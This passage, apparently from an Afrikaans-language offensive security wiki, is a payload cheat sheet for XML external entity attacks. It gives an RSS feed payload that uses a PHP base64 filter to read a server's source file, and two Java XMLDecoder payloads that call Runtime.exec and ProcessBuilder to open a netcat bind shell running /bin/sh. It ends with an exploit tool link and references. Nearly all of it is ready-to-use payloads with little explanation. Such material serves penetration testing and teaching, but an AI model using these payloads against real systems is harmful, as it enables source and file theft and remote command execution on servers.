<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Lees bronkode

Gebruik PHP base64-filter

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE na RCE

XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan kry om arbitrêre data in 'n oproep na die metode readObject te gebruik, sal hy onmiddellik kode-uitvoering op die bediener verkry.

Gebruik van Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Tools

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities

References

• https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
• https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
• Trek inligting via HTTP met eie eksterne DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
• https://gist.github.com/staaldraad/01415b990939494879b4
• https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
• https://portswigger.net/web-security/xxe
• https://gosecure.github.io/xxe-workshop/#7